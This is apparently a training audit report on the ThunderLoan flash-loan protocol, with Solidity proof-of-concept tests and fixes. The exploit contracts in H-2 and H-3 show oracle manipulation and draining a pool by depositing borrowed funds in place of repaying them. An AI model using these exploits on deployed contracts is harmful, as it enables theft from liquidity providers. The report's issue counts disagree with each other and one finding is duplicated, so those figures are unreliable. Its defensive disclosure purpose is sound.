TSwap Protocol Audit Report

Version 1.0

Cyfrin.io

March 17, 2025

ThunderLoan Protocol Audit Report

Shoaib Khan

March 17, 2025

Prepared by: Shoaib

Table of Contents

- Medium
  - [M-1] Centralization risk for trusted owners
    - Impact:
    - Contralized owners can brick redemptions by disapproving of a specific token
  - [M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks
- Low
  - [L-1] Empty Function Body - Consider commenting why
  - [L-2] Initializers could be front-run
  - [L-3] Missing critial event emissions
- Informational
  - [I-1] Poor Test Coverage
- Gas
  - [GAS-1] Using bools for storage incurs overhead
  - [GAS-2] Using `private` rather than `public` for constants, saves gas
  - [GAS-3] Unnecessary SLOAD when logging new exchange rate

About Me

I am a Smart Contract Security Researcher & Auditor with a strong focus on identifying vulnerabilities, optimizing gas efficiency, and securing blockchain protocols. Currently, I am enhancing my expertise through Cyfrin Updraft's Smart Contract Security Auditing Program.

With a solid background in Solidity, Foundry, and EVM security, I specialize in auditing DeFi, NFT, and decentralized applications. My goal is to make blockchain ecosystems more secure and resilient by applying industry best practices and real-world exploit simulations.

Passionate about Web3 security and open-source contributions!

About Protocol

The protocol is a decentralized liquidity pool that allows users to deposit assets and receive LP tokens representing their share. It supports asset swaps, yield generation, and flash loans, enabling instant, uncollateralized borrowing. Users can withdraw their funds anytime by redeeming LP tokens for the underlying assets. Strong security measures are crucial to mitigate potential risks and exploits.

Disclaimer

The Shoaib khan makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
./src/
-- interfaces/
    -- IFlashLoanReceiver.sol
    -- IPoolFactory.sol
    -- IThunderLoan.sol
    -- ITSwapPool.sol
-- protocol/
    -- AssetToken.sol
    -- OracleUpgradeable.sol
```

```
    -- ThunderLoan.sol
-- upgradedProtocol/
    -- ThunderLoanUpgraded.sol
```

Roles

1. Liquidity Providers (LPs) – Deposit funds, receive AssetTokens, and earn yield.
2. Borrowers – Borrow assets using liquidity and repay with interest.
3. Flash Loan Users – Use instant, no-collateral loans for arbitrage or liquidations.
4. Admins/Governance – Manage upgrades, adjust fees, and set risk parameters.
5. Oracles – Provide real-time asset prices for loans and liquidations.
6. Attackers (Threats) – Exploit vulnerabilities via flash loans or oracle manipulation.

Executive Summary

The ThunderLoan audit found 11 issues: 5 High, 2 Medium, 3 Low, 1 Informational, and 3 Gas. Key issues include unchecked reentrancy risks, improper access control, missing validation checks, potential price manipulation, and inefficient gas usage. These vulnerabilities could lead to fund loss, unauthorized actions, and higher transaction costs. Recommended fixes include implementing reentrancy guards, strengthening access controls, adding necessary validations, mitigating price manipulation risks, and optimizing gas-heavy operations to improve security and efficiency.

Issues found

Severtity	Number of issues found
High	5
Medium	2
Low	3
Info	1
Gas	3
———	————————-
Total	14

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @Audit-High
@>  uint256 calculatedFee = getCalculatedFee(token, amount);
@>  assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into ThunderLoanTest.t.sol:

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation: Remove the incorrect updateExchangeRate lines from `deposit`

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
 }
```

[H-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:

1. User sells 1000 `tokenA`, tanking the price.
2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
    1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

3. The user then repays the first flash loan, and then repays the second flash loan.

Add the following to `ThunderLoanTest.t.sol`.

Proof of Code

```
function testOracleManipulation() public {
    // 1. Setup contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
    // Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan
    address tswapPool = pf.createPool(address(tokenA));
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // 2. Fund TSwap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
    vm.stopPrank();

    // 3. Fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(thunderLoan), 100e18);
    thunderLoan.deposit(tokenA, 100e18);
    vm.stopPrank();
```

```

    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18
        );
    console2.log("Normal Fee is:", normalFeeCost);

    // 4. Execute 2 Flash Loans
    uint256 amountToBorrow = 50e18;
    MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
        address(tswapPool), address(thunderLoan), address(thunderLoan.
            getAssetFromToken(tokenA))
    );

    vm.startPrank(user);
    tokenA.mint(address(flr), 100e18);
    thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); //
         the executeOperation function of flr will
        // actually call flashloan a second time.
    vm.stopPrank();

    uint256 attackFee = flr.feeOne() + flr.feeTwo();
    console2.log("Attack Fee is:", attackFee);
    assert(attackFee < normalFeeCost);
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out a second flash loan to compare fees
    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
```

```
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
            // Second Flash Loan!
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // We repay the flash loan via transfer since the repay function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // We repay the flash loan via transfer since the repay function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[H-3] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

1. Attacker executes a `flashloan`
2. Borrowed funds are deposited into `ThunderLoan` via a malicious contract's `executeOperation` function
3. `Flashloan` check passes due to check vs starting AssetToken Balance being equal to the post deposit amount

4. Attacker is able to call `redeem` on `ThunderLoan` to withdraw the deposited tokens after the flash loan as resolved.

Add the following to ThunderLoanTest.t.sol and run `forge test --mt testUseDepositInsteadOfRepayTo`

Proof of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
    uint256 amountToBorrow = 50e18;
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
```

```
    }
}
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
+    if (s_currentlyFlashLoaning[token]) {
+        revert ThunderLoan__CurrentlyFlashLoaning();
+    }
     AssetToken assetToken = s_tokenToAssetToken[token];
     uint256 exchangeRate = assetToken.getExchangeRate();
     uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
         ) / exchangeRate;
     emit Deposit(msg.sender, token, amount);
     assetToken.mint(msg.sender, mintAmount);

     uint256 calculatedFee = getCalculatedFee(token, amount);
     assetToken.updateExchangeRate(calculatedFee);

     token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

[H-4] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
// You'll need to import `ThunderLoanUpgraded` as well
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Centralization risk for trusted owners

Impact: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
File: src/protocol/ThunderLoan.sol

223:     function setAllowedToken(IERC20 token, bool allowed) external
    onlyOwner returns (AssetToken) {

261:     function _authorizeUpgrade(address newImplementation) internal
     override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
   1. User sells 1000 `tokenA`, tanking the price.
   2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
      1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

   ```
   function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
   @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
   }
   ```

   3. The user then repays the first flash loan, and then repays the second flash loan.

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
File: src/protocol/ThunderLoan.sol

261:     function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
    onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
```

```
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                              | % Lines        | % Statements
    | % Branches     | % Funcs        |
| --------------------------------- | -------------- | --------------
    | ------------- | -------------- |
| src/protocol/AssetToken.sol       | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol      | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```